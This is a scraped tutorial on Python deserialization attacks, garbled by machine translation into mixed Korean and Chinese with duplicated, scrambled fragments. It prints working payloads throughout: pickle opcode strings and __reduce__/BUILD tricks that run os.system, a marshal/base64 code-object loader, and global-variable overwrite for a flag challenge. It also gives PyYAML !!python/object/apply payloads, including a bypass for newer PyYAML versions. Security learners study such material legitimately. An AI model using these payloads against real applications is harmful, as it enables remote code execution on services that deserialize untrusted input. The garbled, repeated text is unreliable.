Python 역직렬화를 이해하도록 안내합니다.
이 기사에서는 역직렬화와 관련된 문제를 주로 소개하는 python에 대한 관련 지식을 제공합니다. 역직렬화: pickle.loads()는 문자열을 객체로 역직렬화하고, pickle.load()는 파일에서 데이터를 읽고 역직렬화합니다. 모두에게 도움이 되십시오.
권장 학습: python 튜토리얼
Python 역직렬화 취약점
Pickle
- 직렬화:
pickle.dumps()
객체를 문자열pickle.dump로 직렬화 ()
객체 직렬화된 문자열을 파일로 저장합니다. - 反序列化:
pickle.loads()
将字符串反序列化为对象、pickle.load()
从文件中读取数据反序列化
pickle.dumps()
将对象序列化为字符串、pickle.dump()
将对象序列化后的字符串存储为文件使用
dumps()
与loads()
时可以使用protocol
参数指定协议版本协议有0,1,2,3,4,5号版本,不同的 python 版本默认的协议版本不同。这些版本中,0号是最可读的,之后的版本为了优化加入了不可打印字符
协议是向下兼容的,0号版本也可以直接使用
可序列化的对象
-
None
、True
和False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存对象的集合,包括 tuple、list、set 和 dict
- 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
-
__dict__
属性值或__getstate__()
函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)
反序列化流程
pickle.load()和pickle.loads()方法的底层实现是基于 _Unpickler()方法来反序列化
在反序列化过程中,_Unpickler
(以下称为机器吧)维护了两个东西:栈区和存储区
为了研究它,需要利用一个调试器 pickletools
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wUDq6S9E-1642832623478)(C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]
从图中可以看出,序列化后的字符串实际上是一串 PVM(Pickle Virtual Machine) 指令码,指令码以栈的形式存储、解析
PVM指令集
完整PVM指令集可以在 pickletools.py
中查看,不同协议版本使用的指令集略有不同
上图中的指令码可以翻译成:
0: \x80 PROTO 3 # 协议版本 2: ] EMPTY_LIST # 将空列表推入栈 3: ( MARK # 将标志推入栈 4: X BINUNICODE 'a' # unicode字符 10: X BINUNICODE 'b' 16: X BINUNICODE 'c' 22: e APPENDS (MARK at 3) # 将3号标准之后的数据推入列表 23: . STOP # 弹出栈中数据,结束 highest protocol among opcodes = 2
指令集中有几个重要的指令码:
- GLOBAL = b’c’ # 将两个以换行为结尾的字符串推入栈,第一个是模块名,第二个是类名,即可以调用全局变量
xxx.xxx
的值 - REDUCE = b’R’ # 将可调用元组和参数元组生成的对象推进栈,即
__reduce()
返回的第一个值作为可执行函数,第二个值为参数,执行函数 - BUILD = b’b’ # 通过
__setstate__
或更新__dict__
完成构建对象,如果对象具有__setstate__
方法,则调用anyobject .__setstate__(参数)
;如果无__setstate__
方法,则通过anyobject.__dict__.update(argument)
更新值(更新可能会产生变量覆盖) - STOP = b’.’ # 结束
一个更复杂的例子:
import pickleimport pickletoolsclass a_class(): def __init__(self): self.age = 24 self.status = 'student' self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)
0: \x80 PROTO 3 2: c GLOBAL '__main__ a_class' 20: ) EMPTY_TUPLE # 将空元组推入栈 21: \x81 NEWOBJ # 表示前面的栈的内容为一个类(__main__ a_class),之后为一个元组(20行推入的元组),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空) 22: } EMPTY_DICT # 将空字典推入栈 23: ( MARK 24: X BINUNICODE 'age' 32: K BININT1 24 34: X BINUNICODE 'status' 45: X BINUNICODE 'student' 57: X BINUNICODE 'list' 66: ] EMPTY_LIST 67: ( MARK 68: X BINUNICODE 'a' 74: X BINUNICODE 'b' 80: X BINUNICODE 'c' 86: e APPENDS (MARK at 67) 87: u SETITEMS (MARK at 23) # 将将从23行开始传入的值以键值对添加到现有字典中 88: b BUILD # 更新字典完成构建 89: . STOP highest protocol among opcodes = 2
常见的函数执行
与函数执行相关的 PVM 指令集有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:
R
:
b'''cos system (S'whoami' tR.'''
i
:
b'''(S'whoami' ios system .'''
o
:
b'''(cos system S'whoami' o.'''
__reduce()__命令执行
__recude()__
魔法函数会在反序列化过程结束时自动调用,并返回一个元组。其中,第一个元素是一个可调用对象,在创建该对象的最初版本时调用,第二个元素是可调用对象的参数,使得反序列化时可能造成RCE漏洞
触发
__reduce()_
的指令码为``R,**只要在序列化中的字符串中存在
R指令**,
reduce方法就会被执行,无论正常程序中是否写明了
reduce`方法pickle 在反序列化时会自动 import 未引入的模块,所以 python 标准库中的所有代码执行、命令执行函数都可使用,但生成
payload
Deserialization:pickle.loads()
문자열을 객체로 역직렬화합니다.pickle.load() code> 파일에서 데이터를 읽고 역직렬화<blockquote></blockquote>
dumps()
및loads()
사용>protocol
매개변수는 프로토콜 버전을 지정합니다. 프로토콜에는 버전 0, 1, 2, 3, 4 및 5가 있습니다. Python 버전마다 기본 프로토콜 버전이 다릅니다. 이러한 버전 중에서 숫자 0이 가장 읽기 쉽습니다. 프로토콜은 이전 버전과 호환 가능합니다.
직렬화 가능한 개체🎜없음
, True
및 False
🎜정수, 부동 소수점 숫자, 복소수 li>🎜str , byte, bytearray🎜tuple, list, set 및 dict를 포함하여 보관할 수 있는 객체 컬렉션만 포함합니다.🎜모듈의 가장 바깥쪽 수준에 정의된 함수(def, 람다 함수를 사용하여 정의 아니요) 🎜모듈의 가장 바깥쪽 레이어에 정의된 내장 함수🎜모듈의 가장 바깥쪽 레이어에 정의된 클래스🎜__dict__
속성 값 또는 __getstate__ ()
함수 반환 값을 직렬화할 수 있는 클래스(자세한 내용은 공식 문서의 Pickling Class Instances 참조)
역직렬화 프로세스 h3>🎜pickle.load() 및 pickle.loads() 메서드의 기본 구현은 역직렬화를 위한 _Unpickler() 메서드를 기반으로 합니다🎜🎜역직렬화 프로세스에서 _Unpickler
(이하 Machine이라고 함) Bar)는 스택 영역과 저장 영역이라는 두 가지를 유지합니다🎜🎜이를 연구하려면 디버거 pickletools
를 사용해야 합니다.🎜🎜[외부 링크 이미지 전송에 실패했습니다. 소스 사이트에 오류가 있을 수 있습니다. 리칭 방지 메커니즘이 있으므로 이미지를 저장하고 직접 업로드하는 것이 좋습니다(img-wUDq6S9E-1642832623478) (C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]🎜🎜그림에서 볼 수 있듯이 직렬화된 문자열은 실제로 PVM(Pickle Virtual Machine) 명령 코드의 문자열이며, 명령 코드는 스택 형식으로 저장되고 구문 분석됩니다🎜PVM 명령 세트
🎜완전한 PVM 명령어 세트는 pickletools.py code>에서 찾을 수 있으며, 다양한 프로토콜 버전에서 사용되는 명령어 세트는 약간 다릅니다.🎜🎜위 그림의 명령어 코드는 다음과 같이 번역될 수 있습니다.🎜<div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')</pre><div class="contentsignin">로그인 후 복사</div></div><div class="contentsignin">로그인 후 복사</div></div>🎜몇 가지 중요한 명령어가 있습니다 명령 세트의 코드:🎜🎜🎜GLOBAL = b'c' # 줄 바꿈으로 끝나는 두 문자열을 스택에 푸시합니다. 첫 번째는 모듈 이름이고 두 번째는 클래스 이름입니다. 즉, 전역 변수의 값입니다. <code>xxx.xxx
를 호출할 수 있습니다.🎜 REDUCE = b'R' # 호출 가능 튜플과 매개변수 튜플에 의해 생성된 객체를 스택에 푸시합니다. 즉, __reduce() 를 실행 함수로 사용하고, 두 번째 값을 매개변수로 사용하고, 실행 함수🎜BUILD = b'b' # __setstate__
또는 __dict__
를 업데이트하세요. 객체에 __setstate__
메서드가 있으면 anyobject .__setstate__(argument)
를 호출하세요. __setstate__
메서드가 아닙니다. anyobject.__dict__.update(argument)
를 사용하여 값을 업데이트하세요(업데이트 시 변수 재정의가 발생할 수 있음) 🎜STOP = b'.' # End🎜더 복잡한 예: 🎜b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
0: \x80 PROTO 3
2: c GLOBAL 'nt system'
13: X BINUNICODE 'whoami'
24: \x85 TUPLE1
25: R REDUCE
26: . STOP
highest protocol among opcodes = 2
로그인 후 복사로그인 후 복사
# secret.pya = aaaaaa
로그인 후 복사로그인 후 복사
공통 함수 실행
🎜관련된 세 가지 PVM 명령어 세트가 있습니다. 함수 실행: R
, i
, o
, 따라서 세 방향에서 구성할 수 있습니다: 🎜🎜R
: 🎜# unser.pyimport secretimport pickleclass flag():
def __init__(self, a):
self.a = a
your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
print('flag:{}'.format(secret_flag.a))else:
print('No!')
로그인 후 복사로그인 후 복사🎜i
: 🎜class flag():
def __init__(self, a):
self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
로그인 후 복사로그인 후 복사🎜o
: 🎜b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ Flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: X BINUNICODE 'a'
32: q BINPUT 3
34: X BINUNICODE 'A'
40: q BINPUT 4
42: s SETITEM
43: b BUILD
44: . STOP
highest protocol among opcodes = 2
로그인 후 복사로그인 후 복사
__reduce()__ 명령 실행
🎜__recude()__
매직 함수는 역직렬화 프로세스가 끝나면 자동으로 호출되고 튜플을 반환합니다. 그 중 첫 번째 요소는 객체의 초기 버전을 생성할 때 호출되는 호출 가능 객체입니다. 두 번째 요소는 역직렬화 중에 RCE 취약점을 일으킬 수 있는 호출 가능 객체의 매개변수입니다.🎜🎜trigger__reduce()_
의 명령어 코드는 ``R입니다. **직렬화되는 문자열에
R 명령어가 존재하는 한**,
reduce 메소드는
reduce` 메소드가 일반 프로그램에 지정되었는지 여부에 관계없이 실행됩니다. 🎜🎜pickle은자동으로 실행됩니다. deserialization 아직 도입되지 않은 모듈을 가져옵니다. 따라서 Python 표준 라이브러리의 모든 코드 실행 및 명령 실행 기능을 사용할 수 있지만 페이로드
를 생성하는 Python 버전이 대상과 일치해야 합니다. 🎜🎜🎜예: 🎜class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
로그인 후 복사로그인 후 복사
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
0: \x80 PROTO 3
2: c GLOBAL 'nt system'
13: X BINUNICODE 'whoami'
24: \x85 TUPLE1
25: R REDUCE
26: . STOP
highest protocol among opcodes = 2
로그인 후 복사로그인 후 복사
将该字符串反序列化后将会执行命令 os.system('whoami')
全局变量覆盖
__reduce()_
利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖
# secret.pya = aaaaaa
로그인 후 복사로그인 후 복사
# unser.pyimport secretimport pickleclass flag():
def __init__(self, a):
self.a = a
your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
print('flag:{}'.format(secret_flag.a))else:
print('No!')
로그인 후 복사로그인 후 복사
在不知道 secret.a 的情况下要如何获得 flag 呢?
先尝试获得 flag() 的序列化字符串:
class flag():
def __init__(self, a):
self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
로그인 후 복사로그인 후 복사
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ Flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: X BINUNICODE 'a'
32: q BINPUT 3
34: X BINUNICODE 'A'
40: q BINPUT 4
42: s SETITEM
43: b BUILD
44: . STOP
highest protocol among opcodes = 2
로그인 후 복사로그인 후 복사
可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A'
改为 c GLOBAL 'secret a'
(X\x01\x00\x00\x00A
改为 csecret\na\n
)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag
除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:
test1 = 'test1'test2 = 'test2'class A:
def __reduce(self):
retutn exec, "test1='asd'\ntest2='qwe'"
로그인 후 복사
利用BUILD指令RCE(不使用R指令)
通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system
或其他函数
假设某个类原先没有__setstate__
方法,我们可以利用{'__setstate__': os.system}
来BUILE这个对象
BUILD指令执行时,因为没有__setstate__
方法,所以就执行update,这个对象的__setstate__
方法就改为了我们指定的os.system
接下来利用'whoami'
来再次BUILD这个对象,则会执行setstate('whoami')
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE
例:
代码中存在一个任意类:
class payload:
def __init__(self):
pass
로그인 후 복사
根据这个类构造 PVM 指令:
0: \x80 PROTO 3
2: c GLOBAL '__main__ payload'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT # 使用BUILD,先放入一个字典
22: ( MARK # 放值前先放一个标志
23: V UNICODE '__setstate__' # 放键值对
37: c GLOBAL 'nt system'
48: u SETITEMS (MARK at 22)
49: b BUILD # 第一次BUILD
50: V UNICODE 'whoami' # 加参数
58: b BUILD # 第二次BUILD
59: . STOP
로그인 후 복사
将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'
,使用 piclke.loads()
反序列化后成功执行命令
利用Marshal
模块造成任意函数执行
pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal
但是序列化的代码对象不再能使用 __reduce()_
调用,因为__reduce__
是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres
模块来动态的创建匿名函数
import marshalimport typesdef code():
import os print('hello')
os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types动态创建匿名函数并执行
로그인 후 복사
在 pickle
上使用:
import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s) # 字符串转换为 bytes
로그인 후 복사
漏洞出现位置
- 解析认证 token、session 时
- 将对象 pickle 后存储在磁盘文件
- 将对象 pickle 后在网络中传输
- 参数传递给程序
PyYAML
yaml
是一种标记类语言,类似与 xml
和 json
,各个支持yaml格式的语言都会有自己的实现来进行 yaml
格式的解析(读取和保存),PyYAML
就是 yaml
的 python 实现
在使用 PyYAML
库时,若使用了 yaml.load()
而不是 yaml.safe_load()
函数解析 yaml
文件,则会导致反序列化漏洞的产生
原理
PyYAML
有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:
!!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
로그인 후 복사
例如:
# Test.pyimport yamlimport osclass test:
def __init__(self):
os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
로그인 후 복사
该代码执行后,会生成 sample.yml
,并写入 !!python/object:__main__.test {}
将文件内容改为 !!python/object:Test.test {}
再使用 yaml.load()
解析该 yaml
文件:
import yaml
yaml.load(file('sample.yml', 'w'))
로그인 후 복사

命令成功执行。但是命令的执行依赖于 Test.py
的存在,因为 yaml.load()
时会根据yml文件中的指引去读取 Test.py
中的 test
这个对象(类)。如果删除 Test.py
,也将运行失败
Payload
PyYAML
想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:
# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply: => Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new: => Constructor.construct_python_object_new
로그인 후 복사
利用这两个标签,就可以构造任意 payload:
!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
로그인 후 복사
PyYAML
>= 5.1
在版本 PyYAML
>= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load()
方法时,需要加上 loader
参数,直接使用时会爆出安全警告
loader的四种类型:
- BaseLoader:仅加载最基本的YAML
- SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
- FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
- UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput()
方法绕过检测:
!!python/object/apply:subprocess.getoutput
- whoami
로그인 후 복사

在最新版本上,命令执行成功
ruamel.yaml
ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本
在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:
- load(data)
- load(data, Loader=Loader)
- load(data, Loader=UnsafeLoader)
- load(data, Loader=FullLoader)
- load_all(data)
- load_all(data, Loader=Loader)
- load_all(data, Loader=UnSafeLoader)
- load_all(data, Loader=FullLoader)
我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行
推荐学习:python学习教程
_Unpickler
(이하 Machine이라고 함) Bar)는 스택 영역과 저장 영역이라는 두 가지를 유지합니다🎜🎜이를 연구하려면 디버거 pickletools
를 사용해야 합니다.🎜🎜[외부 링크 이미지 전송에 실패했습니다. 소스 사이트에 오류가 있을 수 있습니다. 리칭 방지 메커니즘이 있으므로 이미지를 저장하고 직접 업로드하는 것이 좋습니다(img-wUDq6S9E-1642832623478) (C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]🎜🎜그림에서 볼 수 있듯이 직렬화된 문자열은 실제로 PVM(Pickle Virtual Machine) 명령 코드의 문자열이며, 명령 코드는 스택 형식으로 저장되고 구문 분석됩니다🎜PVM 명령 세트
🎜완전한 PVM 명령어 세트는pickletools.py code>에서 찾을 수 있으며, 다양한 프로토콜 버전에서 사용되는 명령어 세트는 약간 다릅니다.🎜🎜위 그림의 명령어 코드는 다음과 같이 번역될 수 있습니다.🎜<div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')</pre><div class="contentsignin">로그인 후 복사</div></div><div class="contentsignin">로그인 후 복사</div></div>🎜몇 가지 중요한 명령어가 있습니다 명령 세트의 코드:🎜🎜🎜GLOBAL = b'c' # 줄 바꿈으로 끝나는 두 문자열을 스택에 푸시합니다. 첫 번째는 모듈 이름이고 두 번째는 클래스 이름입니다. 즉, 전역 변수의 값입니다. <code>xxx.xxx
를 호출할 수 있습니다.🎜 REDUCE = b'R' # 호출 가능 튜플과 매개변수 튜플에 의해 생성된 객체를 스택에 푸시합니다. 즉, __reduce() 를 실행 함수로 사용하고, 두 번째 값을 매개변수로 사용하고, 실행 함수🎜BUILD = b'b' # __setstate__
또는 __dict__
를 업데이트하세요. 객체에 __setstate__
메서드가 있으면 anyobject .__setstate__(argument)
를 호출하세요. __setstate__
메서드가 아닙니다. anyobject.__dict__.update(argument)
를 사용하여 값을 업데이트하세요(업데이트 시 변수 재정의가 발생할 수 있음) 🎜STOP = b'.' # End🎜더 복잡한 예: 🎜b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: X BINUNICODE 'whoami' 24: \x85 TUPLE1 25: R REDUCE 26: . STOP highest protocol among opcodes = 2
# secret.pya = aaaaaa
공통 함수 실행
🎜관련된 세 가지 PVM 명령어 세트가 있습니다. 함수 실행:R
, i
, o
, 따라서 세 방향에서 구성할 수 있습니다: 🎜🎜R
: 🎜# unser.pyimport secretimport pickleclass flag(): def __init__(self, a): self.a = a your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a: print('flag:{}'.format(secret_flag.a))else: print('No!')
i
: 🎜class flag(): def __init__(self, a): self.a = a new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
o
: 🎜b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ Flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: X BINUNICODE 'a' 32: q BINPUT 3 34: X BINUNICODE 'A' 40: q BINPUT 4 42: s SETITEM 43: b BUILD 44: . STOP highest protocol among opcodes = 2
__reduce()__ 명령 실행
🎜__recude()__
매직 함수는 역직렬화 프로세스가 끝나면 자동으로 호출되고 튜플을 반환합니다. 그 중 첫 번째 요소는 객체의 초기 버전을 생성할 때 호출되는 호출 가능 객체입니다. 두 번째 요소는 역직렬화 중에 RCE 취약점을 일으킬 수 있는 호출 가능 객체의 매개변수입니다.🎜🎜trigger__reduce()_
의 명령어 코드는 ``R입니다. **직렬화되는 문자열에
R 명령어가 존재하는 한**,
reduce 메소드는
reduce` 메소드가 일반 프로그램에 지정되었는지 여부에 관계없이 실행됩니다. 🎜🎜pickle은자동으로 실행됩니다. deserialization 아직 도입되지 않은 모듈을 가져옵니다. 따라서 Python 표준 라이브러리의 모든 코드 실행 및 명령 실행 기능을 사용할 수 있지만 페이로드
를 생성하는 Python 버전이 대상과 일치해야 합니다. 🎜🎜🎜예: 🎜class a_class():
def __reduce__(self):
return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
로그인 후 복사로그인 후 복사
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
0: \x80 PROTO 3
2: c GLOBAL 'nt system'
13: X BINUNICODE 'whoami'
24: \x85 TUPLE1
25: R REDUCE
26: . STOP
highest protocol among opcodes = 2
로그인 후 복사로그인 후 복사
将该字符串反序列化后将会执行命令 os.system('whoami')
全局变量覆盖
__reduce()_
利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖
# secret.pya = aaaaaa
로그인 후 복사로그인 후 복사
# unser.pyimport secretimport pickleclass flag():
def __init__(self, a):
self.a = a
your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
print('flag:{}'.format(secret_flag.a))else:
print('No!')
로그인 후 복사로그인 후 복사
在不知道 secret.a 的情况下要如何获得 flag 呢?
先尝试获得 flag() 的序列化字符串:
class flag():
def __init__(self, a):
self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
로그인 후 복사로그인 후 복사
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ Flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: X BINUNICODE 'a'
32: q BINPUT 3
34: X BINUNICODE 'A'
40: q BINPUT 4
42: s SETITEM
43: b BUILD
44: . STOP
highest protocol among opcodes = 2
로그인 후 복사로그인 후 복사
可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A'
改为 c GLOBAL 'secret a'
(X\x01\x00\x00\x00A
改为 csecret\na\n
)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag
除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:
test1 = 'test1'test2 = 'test2'class A:
def __reduce(self):
retutn exec, "test1='asd'\ntest2='qwe'"
로그인 후 복사
利用BUILD指令RCE(不使用R指令)
通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system
或其他函数
假设某个类原先没有__setstate__
方法,我们可以利用{'__setstate__': os.system}
来BUILE这个对象
BUILD指令执行时,因为没有__setstate__
方法,所以就执行update,这个对象的__setstate__
方法就改为了我们指定的os.system
接下来利用'whoami'
来再次BUILD这个对象,则会执行setstate('whoami')
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE
例:
代码中存在一个任意类:
class payload:
def __init__(self):
pass
로그인 후 복사
根据这个类构造 PVM 指令:
0: \x80 PROTO 3
2: c GLOBAL '__main__ payload'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT # 使用BUILD,先放入一个字典
22: ( MARK # 放值前先放一个标志
23: V UNICODE '__setstate__' # 放键值对
37: c GLOBAL 'nt system'
48: u SETITEMS (MARK at 22)
49: b BUILD # 第一次BUILD
50: V UNICODE 'whoami' # 加参数
58: b BUILD # 第二次BUILD
59: . STOP
로그인 후 복사
将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'
,使用 piclke.loads()
反序列化后成功执行命令
利用Marshal
模块造成任意函数执行
pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal
但是序列化的代码对象不再能使用 __reduce()_
调用,因为__reduce__
是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres
模块来动态的创建匿名函数
import marshalimport typesdef code():
import os print('hello')
os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types动态创建匿名函数并执行
로그인 후 복사
在 pickle
上使用:
import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s) # 字符串转换为 bytes
로그인 후 복사
漏洞出现位置
- 解析认证 token、session 时
